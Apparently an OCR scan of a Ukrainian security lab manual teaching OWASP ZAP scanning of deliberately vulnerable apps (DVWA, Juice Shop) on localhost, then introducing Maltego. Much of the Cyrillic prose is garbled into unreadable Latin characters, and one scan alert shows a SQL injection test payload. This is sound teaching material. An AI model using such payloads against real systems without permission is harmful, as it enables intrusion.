File Edit View Analyse Report Tools Import Export Online Help

Standard Mode 8d B gL 2EEEEE & 2 e % @ me @@

@ Sites < % Quick Start # = Request <= Response > Requester <=

e Welcome to OWASP ZAP
o rm— elcome to

Default Context

ZAP [s an easy to use integrated penetration testing tool for finding winerabilities in web applications.
@ Sites

If you are new to ZAP then it is best to start with one of the options below

AR R,

Automated Scan Manual Explore Learn More

News

How to configure ZAP to authenticate using Selenum = Learn More  * ‘

=l History & Search [ Alerts Output <
@ e Filter: OFF & Export

Id Source Req. Timestamp Meth.. URL Code Reason RTT Size Resp. Bo... Highest Al... Note Tags &)

Alerts 0 ®»0 0 ™0 Main Proxy: localhost:8080 Qurrent Scans #0 0 ®0 20 @0 0 #¥O0 ¥O

Pucynok 4.14 — Cxanep BpaznuBocteil BeO-noaaTkis ta pecypciB OWASP ZAP

s toro, mo6 BcraHoButu ckanep OWASP ZAP na Kali Linux, 3amycriTh

KOHCOJIb 3 TMpaBaMH cyrep-kopuctyBaua (root) adbo BBediTh “sudo” Ta BBEHITH
KOMaH/1y:

— apt install zaproxy,

Burnsn koHconi y pasi Baangoi iHCTasIIii 300paxkeHo Ha Pucynky 4.3. Ilicns

BCTAHOBJICHHS CKaHep noctymHmid 3 MeHio moaatkiB Kali Linux y Bkmaami «Web
Application Analysisy.
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kali@kali: ~
File Actions Edit View Help

install zaproxy

Reading package lists... Done
Building dependency tree... Done
Reading state information ... Done
The following NEW packages will be installed:

zaproxy
0 upgraded, 1 newly installed, @ to remove and @ not upgraded.
Need to get 182 MB of archives.
After this operation, 285 MB of additional disk space will be used.
Get:1 http://fastmir
Fetched 182 MB in 33s
Selecting previously unselected package zaproxy.
(Reading database ... 525838 files and directories currently installed.)
Preparing to unpack .../zaproxy_2.12.0-0kali2_all.deb ...
Unpacking zaproxy (2.12.0-0kali2) ...
Setting up zaproxy (2.12.0-0kali2) ...
Processing triggers f kali-menu (20
Scanning processes ...
Scanning processor microcode ...
Scanning linux images ...

Running kernel seems to be up-to-date.

Failed to check for processor microcode upgrades.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (gemu) binaries on this host.

Pucynok 4.15 — [1oBijioMJI€HHS TEpMiHAITY PO BJajle€ BCTAHOBJICHHS
ckanepa OWASP ZAP

Baprto 3ayBaxuTH, 1m0 OKpIM TOTO, IO CKaHyBaHHS BeO-I0JaTKiB/pecypciB
Tpebda MPOBOJAUTH JIUIIIE 3 JO3BOJY BIAMOBITHUX BJIACHUKIB UM 1HIIUX BIJMOBIIAIBHUX
0ci0, OLTBIIICTH CKaHEPIB BPA3IMBOCTEH Y BeO-momaTkax, Briarodaroun OWASP ZAP,
TeHEPYIOTh BEJIHMKY KUIBKICTh Tpadiky Ta BHUKOHYIOTh IOTEHLIMHO HeOe3neuH1
MIePEBIPKH, 110 MOKE TIPU3BECTH IO BUBOTY 3 JIay CKAaHOBAHOTO J0aTKy. Yepes 11e, B
naHiil JabopaTopHiii poOOTI PEKOMEHAYEThCSI BUKOPHUCTOBYBATH [UJISl TECTYBAaHHS
CIeliaibHO Ppo3po0JIeH] ‘“mabopaTopii”’, MpHU3HAYCHI JJII HAOYHOI JAEMOHCTpaIli
Bpa3JIMBOCTEH, PO3MOBCIO[KEHUX Yy BeO-0JaTKaxX, Ta TPEHYBAHHS CIELIATICTIB 3
1H(popMaIiiiHOT Oe3MeKH MOUIYKY Ta eKCIUTyaTallli TAKMX BPa3JIMBOCTEH.

Tox, po3ropHemMoO BIAMOBIIHUN “TOJITOH” JUIs TMOJAJBIIUX CKaHyBaHb. B
oimitinux penozurtopisx Kali Linux mictutbes maket Kali-linux-labs, mo Bxitouae B
cebe nBa Tak 3BaHux “Damn Vulnerable Web Applications”, a came: DVWA Ta
OWASP Juice Shop. BcranoBuTu 1i AOJATKH JOKAJIBHO MOKHA 3a JTOIOMOIOIO
KOMaH/IH:
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— apt install kali-linux-labs
abo
— apt install dvwa juice-shop

lali@kali: ~

File Actions Edit View Help

install kali-linux-labs

events libjs-inherits libjs-is-typedarray

nt node-ci-
de-cliui n e-c deep
s node commander

Pucynox 4.4 — BctaHOBJIEHHS Bpa3auBUX BE0-10aTKIB, IPU3HAUYECHUX JJIS
TECTyBaHHS

3aHy0TI/ITH Ta 3YIIMHUTHU JOJATKHU MOXKHA 3a JOIIOMOI'OXO BiI[HOBiI[HI/IX KOMaH/:
— sudo juice-shop # sudo juice-shop stop
abo

— sudo dvwa-start # sudo dvwa-stop
Xoua oOumBa gomatku myke aemoHcrparuBHi, OWASP Juice Shop Oimbiie

MIJIXOAUTh JJisi BUBUYCHHS BpPA3IMBOCTEN y BeO-I0AaTKaX HUIIXOM CaMe€ PYYHOTO
ckanyBaHHs, Toll sk DVWA wMoxke npatu Oigbliie JOCBIy 3 aBTOMAaTHYHOIO
CKaHyBaHHs. B maHomy mpukiaal BUKOPUCTAEMO APYTUW BapiaHT, IJIs 3ammycka
BBEJEMO BIJMOBIIHY KOMaHay. Jlami aBTOMAaTUYHO BIAKPUEThCA Opays3ep 3
MOYaTKOBOIO CTOPiIHKOIO BeO-noaaTka (Pucynok 4.5).
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€ Login :: Damn Vulnerable X )

C @ Q 127.0.0.1
Google Hacking DB /| OffSec

Kali Linux 8 KaliTools # KaliDocs N Kali Forums X Kali NetHunter Exploit-DB

Login

Pucynok 4.5 — IlouyatkoBa cropinka BeO-10/1aTKa

[Tpu nepiomy 3amycky Moke 3HaJOOUTHUCS HaJIalITyBaTu 0a3y JaHMX J0jaTKa,
B TaKOMY BHMaJAKy (opma BXoAy npuiimMarume Oyab-ski Aani. [licisa aBrenTudikaii
BIIKpUEThCS BKiagka “Setup / Reset DB”, B KkiHI BiJIMOBIAHOI CTOPIHKK Tpeda
HaTUCHYTH Ha kHomky “Create / Reset Database”, micis 4oro cCTOpiHKa OHOBHTHCS

(Pucynoxk 4.6).

© Setup:: Damn Vulnerable X +

O D 127.001

etHunter = Exploit-DB & Google Hacking DB

KaliLinux @ KaliTools * KaliDocs W Kali F¢

PHP module mysqt
PHP module pdo_n

Backend database: MySQL/MariaDB
Datal e dvwa

1eCAPTCHA key: Missing

{User: root] Writable foider /var/ib/dvwaluploads/: Yes
{User: root] Writable file Avarflogidvwa/phpids_log ba: Yes

[User: root] Writable folder /etc/dvwalconfig: Yes
Status in red, indicate there will be an ssue when trying to complete some modues.

if you see disabled on either allow_ur_fopen or allow_url_include, set the following in your php.ini file and restart
Apache.

all
all
U

1
e fle Inclusion fabs so unless you want to play with those, you can ignore them.

b ity
for the file i
Create / Reset Database

First time using DVWA
Need to run ‘setup.php

Pucynok 4.6 — HanamryBanus 6a3u nanux y DWVA
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J1J1s mo1abIIoro CKaHyBaHHS MOTPIOHO YBIMTH B iICHYIOUM OOTIKOBHI 3amuc 3
iM’ssMm kopucTyBada admin ta maponem password. [[o6 edekTuBHO BHKOpHCTATH
JAHWUN J0JIaTOK B SIKOCTI ITiJI1 CKAaHYBaHHS, BAPTO 3MIHUTU PIBEHb MOT0 3aXHIIICHOCTI.
Jlns uporo motpiOHo mepeitu y Bkimaaky “DVWA Security”, ne 3MiHUTH PiBCHB 3
“Impossible” na “Low” Ta Hatucuytn “Submit” (Pucynok 4.7).

Home DVWA Security
Instructions
Sotup I Reset DB Security Level
Security level is currently: impossible.

Brute Force
B —— You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
‘Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
—_— 25 an exampl erabilities manifest through bad coding practices and to serve
File Inclusion tation techniques.
File Upload an example to the user d security practices, where the

 an appiication. It also acts as a challenge to users t refine their
Insecure CAPTCHA

jum dificuty,
SQL Injection je. The vulnerability
pture The Flags (CTFs) comp:

[EQE R D secure against all vulnerabilities. It is used to compare the vulnerable
Weak Session IDs

s known as ‘high

y layer for PHP based web applications.

Kiist of potentially malicious code. It is used in
alls (WAFs) can help improve security and in

About You can enable PHPIDS across this site for the duration of your session.

PHPIDS Is currently; disabled. [ 1

[ ]-0 1

Pucynox 4.7 — Inurepdetic DVWA, nocnioBHICTh A1l A7l 3MiHU PiBHS 3aXHUIIIEHOCTI
Jam posrisaemMo poboty ckanepa. [licnsa 3amycky ckaHepa MOXe 3’ SBUTHCS

BIKHO KepyBaHHs nomnoBHeHHsMU (Pucynok 4.8) —natuckaemo “Update All” Tta
3aKpUBAEMO BIJMOBIIHE BIKHO.
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b Manage Add-ons

Installed  Marketplace

ZAP Core
ZAP is up-to-date (2.12.0)
Add-ons
Filter:
Name Version Description Update B
(@ Active scanner rules 49.0.0 The release status Active Scanner rules
Ajax Spider 23.1... Allows you to spider sites that make heavy use of ...
Alert Filters 14.0.0 Allows you to automate the changing of alert risk le...
Automation Framework  0.19.0 Automation Framework.
Call Home 0.5.0 Handles all of the calls to ZAP services
Common Library 1.11.0 A common library, for use by other add-ons.
Database 0.1.0 Provides database engines and related infrastructure.
nNiff 12 0.0 Disnlavs a dialon showina the diffarences hetwean

Select an add-on above to see more details.

) I L Update All Close
IDownloading updates. You can close this dialog and the downloads will carry on in tH n

Pucynox 4.8 — BikHO OHOBJICHHSI TOTIOBHEHB, YePBOHUM BHIIJIeHA KHOMTKA « OHOBUTH
BCE»

[Ticns mporo pexkomenmoBano mnepeszamyctutu OWASP ZAP. Ha ekpani
3’SIBUTHCSI TOJIOBHE BIKHO 3 JBOMa BapiaHTaMH CcKaHyBaHHs: “Automated” Ta

“Manual”. Jlns Ttoro, mo0 mmodaTd CKaHyBaHHs, HaTUCHITH “Automated Scan”
(Pucynok 4.9).

X Untitled Session - OWASP ZAP 2.12.0

File Edit View Analyse Report Tools Import Export Online Help
Standard Mode 8 d @EiJtEoEaBEEmE 48 VO % @ moee el
@ Sites 4 ., % Quick Start # = Request ¢ Response Requester <

e Welcome to OWASP ZAP

(@] Default Context | ZAp is an easy to use integrated penetration testing tool for finding wulnerabilities in web applications.

@ Sites If you are new to ZAP then it is best to start with one of the options below.
Automated Scan Manual Explore Learn More
Run an autojfnated scan against your application
rNews
How to configure ZAP to authenticate using Selenium ~ Learn More  * ‘
5 History Search [ Alerts Output =

[ON*] Filter: OFF & Export

Id So... Req. Timestamp Met... URL C... Reason ... Size Resp... Highest... N... Tags =

Alerts O 0 =0 m0 Main Proxy: localhost:8080 Current Scans 0 0 @0 20 @0 , 0 %0 %0

Pucynox 4.9 — 3amyck aBTOMaTHYHOTO CKaHYBaHHS
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Y HoBomy MeHto y mosie “Enter a base URI for scan” BBeniTh aapecy pecypcy
abo BeO-101aTKy, 00€piTh 00MABA KPOYJIEPH IS KPAIIoro Pe3yyIbTaTy Ta HATUCHITH
«Attack» (Pucynox 4.10).

A Untitled Session OWASP ZAP 2.12.0

File Edt View Analyse Report Tools Import Export Online Help
Standard Mode Bd TIEEIEE ] YD) %W -mo® e
@sSttes 4 Quick Start # = Request = Response Requester 4

enas

| C Automated Scan X

@) Default Context

@ Sites This screen allows you to launch an automated scan against an application - just enter its URL below
and press ‘Attack'

Please be aware that you should only attack applications that you have been specifically been given
permission to test.

URL to attack http://127.0.0.1:42001 @ Select..
Use traditional spider: [

! with | Firefox Headless

& Attack

Progress: Not started

Use ajax spider:

# History & Search [Alerts Output 4
@ @ Y Fiter: OFF & Export
Id  So... Req. Timestamp Met. URL C.. Reason ... SizeResp... Hghest... N...  Tags B

Alerts 0 »0 ~0 ®0 Main Proxy: localhost:8080 Qurrent Scans 0 §0 ®0 20 @0 0 ®O0 #0

Pucynox 4.10 — 3anmyck aBTOMaTUYHOTO CKaHYBaHHS 3a 33/1aHOI0 aJIPECOIO 3
BUKOPHUCTaHHAM Tpaauiiiiinoro ta AJAX-kpoynepa

[Ticnst uboro ckanep moyHe cBor podory. CroyaTKy BiAMPaIlOOTh KPOYJIepH,
a TIOTIM MOYHETHCS AKTUBHE CKaHYBaHHS.
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equest  «=Response (5 Requester

Automated Scan D

launch an automated scan against &n

application - st enter its URL below

should only attack appic

at you have been specifically been given p

http://127.0.0.1:42001 @ Select

with  Firefox Headless

i@ Stop
Progress Actively scanning (attacking) the URLs discovered by the spider(s)

Pucynox 4.11 — [Iporiec ckanyBaHHs

B nporieci ckanyBaHHsI 3aITUTH, IO CBIYATh 10 YCHIIIHY MEPEBIPKY J01aTKa Ha
MEBHI BPAa3JIMBOCTI, COPTYIOThCS 3a TUIIOM BpA3JIUBOCTI, SIKY BOHHU BUKPHIIM, TOX
HaBITh AKIIO CKaHYBaHHS HE3aBEPIICHE — MOXKHA JII3HATHUCS OLIIbIIE PO BXKE HasIBHI
pe3ynbTaTH.

OueBuHO, 110 Y BeO-A0JaTKax/pecypcax IOCTYI J0 O1IbII0T YacTHHH (DYHKITIH
Ta CTOPIHOK 3a00pOHEHUN I HeaBTEeHTU(IKOBAaHUX KOpUCTyBauiB. Tomy, 3a3Buyaii,
MPOBOJIUTHCA SIK HEAaBTEHTHU(IKOBaHE, TaK 1 aBTEHTU(PIKOBAHE CKaHYBAaHHS (SIKIIO
MPUCYTHS MOXJIMBICTH BXOJy B akKkayHT). i1 aBTeHTH(]PIKOBAHOTO CKaHYBaHHS
BUKOpHCTaeMo COOKie BigmoBimHOI cecii. [ 1bOro Kpaiie 3a Bce BUKOPUCTOBYBATH
POKCI.

OWASP ZAP, sk i Burp Suite, BumingroTecst cepen IHIIMX 3aco0iB IS
CKaHyBaHHsI B€0-/T0IaTKIB TUM, 1[0 MOXYTh BUKOHYBATH POJIb MPOKCI.

B nanomy koHTeKCTI TPOKCi — 11€ cepBepHe [13, 1110 BUKOHYE pOJIh MOCEPEAHUKA
MDK KJIIEHTOM, 1110 3alUTY€E MEBHUM pecypc, Ta CEPBEPOM, 1110 HOro Hajae. Y BUNAAKY
3 BUIIE3TaJaHUMU JI0JIaTKaMU MIPOKCI HE TUIBKHU MPOITyCKae Kpi3b cebe Tpadik, ane u
JI03BOJISIE MOTO aHAJI3yBaTH, BUIO3MIHIOBATH Ta TEHEPYBATH.

€ nBa crnocoOM BUKOPUCTAHHS LIUX MPOKCI:

— TEpIINid — Yepe3 HaJallTyBaHHS Opay3epa, 10 3MyCUTh yBech Tpadik 3
Opay3epa mpOXOIUTH KPi3b MIPOKCI;

— JApYTHM — BUKOPUCTAHHS  BOYJOBAHOIO,  3a3[ajeriib  HajJallTOBaHOIO
Opaysepa. Jlyist apyroro cmoco0y JOCTaTHRO HATHCHYTH JIMIIE HA OJHY KHOTIKY
(Pucynok 4.12).
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LY Untitled Session - OWASP ZAP 2.12.0
File Edit View Analyse Report Tools Import Export Online Help
Standard Mode 8 d @S CEnEEEEDE48 V6 % @ @ e QEJ

@Stes  + 4 Quick Start # = Request < Response 7Requester Ot BroWREF oU REeen e UIER S5

Bamess < Automated Scan D

[%] Default Con

@ Sites This screen allows you to launch an automated scan against an application - just enter its URL below and press ‘Attack’

Please be aware that you should only attack applications that you have been specifically been given permission to test

URL to attack: http://127.0.0.1:42001

Use traditional spider:

@ Select...

Use ajax spider: 7] with Firefox Headless
& Attack t
Progress: Attack complete - see the Alerts tab for details of any issues found
# History @ Search [ Alerts # Output 3 Spider #AJAX Spider ) Active Scan 4=
e J ¢ Full details of any selected alert will be displayed here.
‘A‘z[:efc)e of Anti-CSRF Tokens (2) You can manually add alerts by right clicking on the relevant line in the history and selecting ‘Add alert'.

# Content Security Policy (CSP) Header Not Set (1| you can also edit existing alerts by double clicking on them.
= Missing Anti-clickjacking Header (2)

# Cookie No HttpOnly Flag (2)

# Cookie without SameSite Attribute (4)

f Server Leaks Version Information via "Server" -
2 X-Content-Type-Options Header Missing (7)

f User Agent Fuzzer (89)

Alerts m0 m3 @4 m 1 Main Proxy: localhost:8080 Qurrent Scans #0 €0 ®0 20 @0 ~0 0 #0 0

Pucynox 4.12 — Knomnka ajis 3amycky Opay3epa 3 HaJlallTOBaHUM ITPOKC1

[Ticnst poro Tpeba 3aifTh 10 00JIIKOBOTO 3aIMCy 3 HAJAIITOBAaHOTO Opaysepa,
nepeBipuTH piBeHb ckiamaHocTi (Pucynok 4.13, mosnauku 1, 2) i 3a IOMOMOTOO
BOYIOBAaHUX IHCTPYMEHTIB 1 po3poOHuKiB (Pucynok 4.13, mo3Hauka 3) mi3HATHCSA
3Ha4YeHHs 3reHepoBaHoro Cookie (Pucynok 4.13, mo3Hauka 4).
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€ DVWA Security :: Damn | X

« c @ G 127.0.0.1
KaliLinux # KaliTools @ ¢s N Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec
Setup / Reset DB Security Level
Security level is currently: low.
Brute Force
— You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vuln and has no security measures at all. It use is 10 be
P as an exa w 3 a ities manifest through bad coding practices and to serve

File Upload

] developer has tried but failed to secure an application. | as a challenge 1o users to refine their
Insecure CAPTCHA exploitation techniques

1 3. High - This option is an extension to the medium . amixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vul ity may not allow the same extent of the

exploltation, similar in various Capture The Flags (CTFs) competitions.
IS ENCOROn (e S| 4. Impossible - This level should be secure against all vulnerabilities. It is used to con
Weak Session IDs 2 source code to the secure source code.
g.{his level was known as igh’

XSS (DOM) ' 3
X85 Low | [ submit \

PHPIDS
V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web appiida

input against a blackiist of potentially malicious
b Application Firewalls (WAFs) can help impro

pect A

Inspect (Q)

Pucynox 4.13 — HanamryBanHs cecii y ckoH$piHypoBaHOMY Opay3epi

Hactrymmaum kpokom Oyzae miakiaroueHHs BigmoBigHoi cecii 1o OWASP ZAP.
bins Brmagkm “Active Scan” nHatucHiTh Ha “+” Ta obepith “HTTP Sessions”
(Pucynok 4.14).

Attack

Attack complete - see the Alerts tab for details of any issues...

Spider ) Active Scan #
@ Automation

[ ¢ Current Scans:0 Num R¢ % Breakpoints erts:89 ¢ Export ¢
7" Forced Browse

URL Co:| B Flz2€r . p. He... Size Resp. B...E
ignature-2.cdn.mozilla.... 200 O:s 5,348 bytes
n/digininja/DVWA/com... 200 O ¥ OAST tes 1,768 bytes
T/digininja/DVWA/spoo... 200 O (] Params tes 2 bytes
m/digininja/DVWA/over... 200 O == Progress tes 541 bytes
m/digininja/DVWA/Mused... 200 O &% WebSockets tes 2 bytes
m/digininja/DVWA/hove... 204 N tes O bytes
ubassets.com/favicon... 200 O~ R Rl _ IS 959 bytes
T/fluidicon.png 200 OK 1... 344 bytes 33,270 bytes
.com/_private/browser... 200 OK 4... 1,089 bytes 0 bytes

Current Scans # 0 0 @0 20 @0 0 %0 %0

Pucynok 4.14 — HanamryBanust HTTP ceciit

58



Jlami y choumcKy IIyKaeMmo Ccecilo, sKka Mae Take JK 3HA4eHHS, SK Yy
CKOH(}IrypoBaHOMY Opay3epi, BUKJIMKAEMO JIJII HbOI'O KOHTEKCTHE MEHIO Ta 00UPaEMO
“Set as Active” (Pucynok 4.15).

U Alerts Output 3 Spider  # AJAX Spider ) Active Scan «§ HTTP Sessions # * <

v 4k New Session ¢ Export

Name Session Tokens' Values Messe
Session O PHPSESSID=in45ps7vmvkn8npfu93i8...
Session 1 PHPSESSID=in45ps7vmvkn8npfu93i8...

Session 2

PHPSESSID=eO0fnllankta3kcujSbbhsém...

Set as Active

Remove Session

Copy Session Token Value to Clipboard
Find Related Messages

Pucynok 4.15 — BcTaHOBJIEHHST aKTUBHOI cecii

[Ticns BUIIETIEpEpaXOBAHUX KPOKIB MOKHA 3allyCTUTH CKaHYBaHHA 3HOBY (SIK Ha
Pucynky 4.10), i BOHO Ma€e qaTu OUTbIIE pe3yJbTaTiB, SKi JOJAIOTHCS J0 PEe3yJIbTaTiB
MONEPEAHbOI0, HEABTEHTU(IKOBAHOTO CKaHyBaHHA. TaKOX CKaHyBaHHS MOXKHA
CKOHIICHTPYBAaTH Ha NEBHIM YacCTHHI J0JaTKa, 3allyCTUBIINA AKTUBHE CKaHYBaHHS IS
neBHoro nuisixy (Pucynox 4.16).

A Untitled Session - OWASP ZAP 2.12.0
File Edit View Analyse Report Tools Import Export Online Help

ATTACK Mode Ued IS o CEEE e EEEES4e VO ¥E-mo® e
@Sites  + ey S e R
edas= Delete Delete | /* Forced Browse Site
|~ GET:source Include in Context > /* Forced Browse Directory
¥ source Run application >| /* Forced Browse Directory (and Children)
7 GET:wulnerabilities Include Site in Context > ¥ AJAX Spider...
v B winerabilities U Open/Resend with Request Editor... #% Spider...
|1 mw GET/ Flag as Context >| # Fuzz...
m # brute Open URL in Browser
# GET:brute St n History T
LJ®m ¥ captcha Open URL in System Browser
L1 GET:captcha Exclude from Context
¥ csp Exclude from
# GET:csp Manage History T
Limw csrf Break...
| ] ™ GET:csrf I A
¥ exec lerts for T
= History & Search Al it ript ve Scan # x < HTTP Sessions 4

AAA + Tact Serint

Pucynok 4.16 — CkanyBaHHS OKpEMOi YaCTUHHU BeO-104aTKa

59



Konmu ckanyBaHHS 3akiHUyeTbcsl (MOXK€ TpWBaTH Oulblle roauHu) (QOKyc
nepeBoAUThCS Ha BKiaaky “Alerts”. Tak, na Pucynky 4.17 MoxxeMo moOa4YuTH, II0
Oyna BusiBneHa MOXUMBICTH A SQL-in’exuii. HatucHyBmin Ha 3anuT y naHii
KaTeropii, MoxHa MmooaYnuTH

Untitled Session - OWASP ZAP 2.12.0

File Edit View Analyse Report Tools Import Export Online Help

ATTACK Mode 2 d E S22 2REEEEEE 1@ V@ % @ He@e € |
@ Sites Ea s % Quick Start = Request «= Response =¥ Requester L 3
eIEad Header: Text v~ Body: Text E =]
W GET:source HTTP/1.1 200 OK
i @ source Server: nginx/1.22.1
# GET:winerabilities Date: Fri, 24 Feb 2023 05:32:54 GMT
Y Content-Type: text/html;charset=utf-8
®w GET:/ Connection: keep-alive
@ GET:brute ache-Control: no-cache, must-revalidate
M % captcha
 GET:captcha <div class="vulnerable_code_area">
Limwcsp <form action="#" method="GET">
<p>
¥ T
GET:csp User ID:
Pw csrf <input type="text® size="15" name="id">
o GET:csrf <input type="submit” name="Submit" value="Submit">
= History © Search [¥Alerts # Output % Spider # AJAX Spider ) Active Scan  =§ HTTP Sessions =
= = = —_— - IO T & T IO LT O LT VUG UG ST SYI 1= L 70T 08 T 70 T L 7OL T PO TIE T X T T T NG T 0L
ee 7/ ¢ il 1927 %3D%27 1&Subrmit=Submit
# SQL Injection (16) Risk: e High

GET: http://127.0.0.1:42001/wlnerabilitie:  Confidence: Medium
|| GET: http://127.0.0.1:42001 Aulnerabilitie:  Parameter: id

GET: http://127.0.0.1:42001/Mulnerabilitie: | Attack 1'or'1'='1' AND '1'='1
GET: http://127.0.0.1:42001/wulnerabilities | Evidence:
GET: http://127.0.0.1:42001Aulnerabilities | CWE ID: 89

POST: http://127.0.0.1:42001/wulnerabiliti | WASC ID: 19

POST: http://127.0.0.1:42001/wlnerabiliti | Source: Active (40018 - SQL Injection)
POST: http://127.0.0.1:42001ulnerabilitic _Input Vector: URL Query String

POST: http://127.0.0.1:42001/wulnerabilitic = Description:

POST: http://127.0.0.1:42001/wiinerabiliti SQL injection may be possible

POST: http://127.0.0.1:42001Aulnerabiliti

POST: http://127.0.0.1:42001/wilnerabilliti

POST: http://127.0.0.1:42001Aulinerabiliti | Other Info:

POST: http://127.0.0.1:42001 Aulnerabilti The page results were successfully manipulated using the boolean conditions [1' or '1'='1' AND '1'="1] and
POST: http://127.0.0.1:42001/ulnerabiliti | [1'or '1'='1' AND '1'="2]

POST: http://127.0.0.1:42001/wulnerabilitic  Data was returned for the original parameter.
# SQL Injection - MySQL (4)

Soluti
® SQL Injection - SQLite (4) St

Do not trust client side input, even if there is client side validation in place.
Alerts m3 9 9 ®8 Main Proxy: localhost:8080 Qurrent Scans 0 §0 ®0 21 @0 A0 O %O

Pucynok 4.17 — [logpo6uiii npo 3HaiiieHy Bpa3iuBICTh

Bapto mam’sitaTu, 1o KOJHUN aBTOMATUYHUN CKaHEp BPa3IMBOCTEH y BeO-
nonatkax He 3moxke BusBUTH 100% BpasznuBocteit. OKpiM TOTO, IJIsi TAKUX CKaHEPiB
XapaKTepHa HasBHICTh IIEBHOTO BiJICOTKa XWOHMX crpamroBanb (“false positives™).
Tomy, 3a3BUYaii, CKaHEpU BUKOPUCTOBYIOTHCS B TAHJIEM1 MK COOOIO Ta 3 PY4YHOIO
MEPEeBIPKOI0 3HAWIEHUX BPA3IUBOCTEH Ta 0JaTKa 3arajioM. TakoX sIKICTh poOOTH
MOAYJIBHUX CKaHEPIB 3aJCKHUTh BiJ] 0aratbox (hakTopiB, HAMBU3HAYHIIIUM 3 SKUX €
HAsSIBHICTh Ta HAJIAIITYBaHHS MOJIYJIS, 32 JOTIOMOTOIO SIKOTO B1I0YBa€ThCA CKAaHYBAHHS
(MeHemKep MOIYIIiB 3rajanuil Ha Pucynky 4.8).

60



3aBaaHHA:

— BUKOHATH CKaHYBaHHS OJHOTO 3 BpPa3JMBUX BeO-I0JaTKIB 3a JOIMIOMOTOIO
ckanepa OWASP ZAP;

— TIpOoaHaJi3yBaTH  pe3yJdbTaTH  CKAaHYBaHHS, TIOPIBHATH  pPE3yJbTaTH
aBTCHTU(IKOBAHOTO Ta HEABTCHTH(IKOBAHOTO CKaHYBaHHS;

— HaJaTW y 3BITI JaHl MpO Ha3HAYHIINI BPA3JIMBOCTI, IO MOTPANMWIN Y 3BIT
CKaHepa;

— BHU3HAQYMTH, SAKIi 3 HHX 3HaxXomAThCAd B  aKTyaJbHOMY  CITUCKY
HaumonyspHimux BpaznuBocteit “OWASP Top 107;

— BKazaT, fKI I1Ie KOPUCHI JaHl HaJaB CKaHep 1y SIKUX PO3/Iijiax;

— TIPOBECTH CKaHyBaHHs BeO-70/JaTKa CKaHEpoM BpasauBocTeii Nessus Ta
TIOPIBHATH PE3yJIbTaTH.
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JlaGopaTopna podora Ne 5

Tema: Ilomyk BpaznuBocTel Ta 4yTAUBOI iH(POpMAIII] Y BIAKPUTUX JKeperax
3a gornomororo 3acody Maltego.

Merta: OTpuMaTu NpakTUYHI HABUYKH MOIIYKY BPa3IMBOCTEH Ta UyTJIMBOI
iHpopMarii y BITKPUTHX JDKEepenax 3a JormoMoroto 3acody Maltego.

TeopernuHi BizomocTi

VY naboparopsiii po6oti Ne 4 posrmsgaBcs 3aciO, 10 J03BOJISB OTPUMATH
B1JIOMOCTI PO MOXJIUBI BPAa3IMBOCTI BeO-pecypcy/aoaatky. OmHaK, 4acTO MPUINHOIO
YCHIIIHOI aTaKy CTa€ neBHa iHpopmallis, 1o 0yja SKUMOCh YHHOM 3aJIMIIEHA cepel
JOKYMEHTIB  BeO-pecypcy (3a3BU4ail, dYepe3 He00auHICTb PO3POOHHUKIB  abo
aaMIHICTpaTOpiB pecypcy). [HOo1 k cremianicTy 3 iHdopMarliitHoi 0e3nexn HeoOX1THO
BUBUUTHU T€, Ka 1HPOpMaIlis AOCTyNHA MyOIiYHO, BUSBUTU YYTJIUBY 1H(POPMAIIIIO 1
3akpuTH 1i. Jlo TOro ’k, BHKOPHCTaHHS TakuX 3aco0iB, sk Maltego, mae 3mory
3pO3yMITH, Y1 3MO>KE 3TOBMUCHUK BU3HAYUTHU YYTIUBI BY3JU 1HOPACTPYKTYPH (SIKIIO
CEpBEPHU PeCypCy 3HAXOJATHCS Yy BIACHOCTI KOMIIAHIi YM OpraHi3allii) 1 TAKUM YHHOM
BHBYATH MOKJIMBOCTI aTaKU HA HUX, 110 PAHO YH I13HO MPU3BEE 10 TEBHUX HACITIIKIB.

Maltego — e yHiBepcanbHUUN 3aci0, sKHII HE JIMIIEe JO3BOJSIE 30UpaTn
iH(pOopMaIlito PO MEBHY CUCTEMY, a i aBTOMAaTUYHO CUCTEMATU3YE 110 1HHOPMAIlIO Y
BUTJISL 3py4HOro rpada. b Toro, inctpymentamu Maltego cinyryrors Tak 3BaHi
«Tpanchopmu», 10 B CyTI CBOIN — XMapH1 CEPBICH, SIKI ¥ B3aEMOIIIOTH 3 CHCTEMOIO,
IO JOCIIKYEThCS. 3aBASKH TaKOMy Iiaxomy, 3a gomomororo Maltego mosxianso
MPOBOAUTH JOCIIJKEHHSI IEKUJILKOX BY3J1iB OJJHOYACHO.

JInst BCTaHOBJIEHHSI MpOrpaMu B TepMiHam TpeOa BUKOHATH 3 0Ot-mpaBamu
KOMaHIy “apt install maltego”. [am, mis 3amycky Maltego (Pucynok 5.1)
nepeinite y meHro noaarkis Kali Linux y mynkr “Information Gathering” ta 3amycTith
noaarok “maltego”.
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[T

© MALTEGO a

X Access Options Data Categories plans Pricing
Em Y O in = DA Dax

Display: | 1NOT NSTALLED] | UNSTALLED]  Sort by: | MEWEST | DuAME v

Software and Service Advisories

Webinars and Demos

Transform Updates
TRANSFORM HUB PARTNERS 80780 shomn v

Opensanctions Transforms T

By Maltego Technoleaies

Maltego Regex Tran...

Opensanctions
ReGEX 1, atego Tech

Free Standsrd OSINT Transferms

W [ Date Subscription

Abuse.ch URLhaus AbusclPDB AlienVault OTX alphaMountain
oy Malteao Tecnologies by Mezeae Technoioges [EIVEED 1y mategs Technaloaies oy alpnedountain &

WestP/UAL sk and eateqorzstion

Be the first to try out our
courses!

Find and report sbusve (P sédreszes.

Data Subscription

Pucynok 5.16 — I'onoBre BikaHo Maltego

[Mpu mepuioMy 3amycky 3’sIBUTbCS BiKHO oOpaHHs mponaykty (PucyHok 5.2),
obepith Bepcito “Maltego CE”.
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Product Selection

Please choose how you want to use Maltego: ‘Compare Products Activate without Internet

Maltego One Maltego One is the new unified solution to access and activate Maltego plans for

Activate with key Professionals and Enterprises.

@ Purchase

Maltego XL Maltego eXtra Large is Paterva's premium solution to visualise large data sets and

Activate with key allows for more than 10 000 entities in a single graph.

@ Purchase

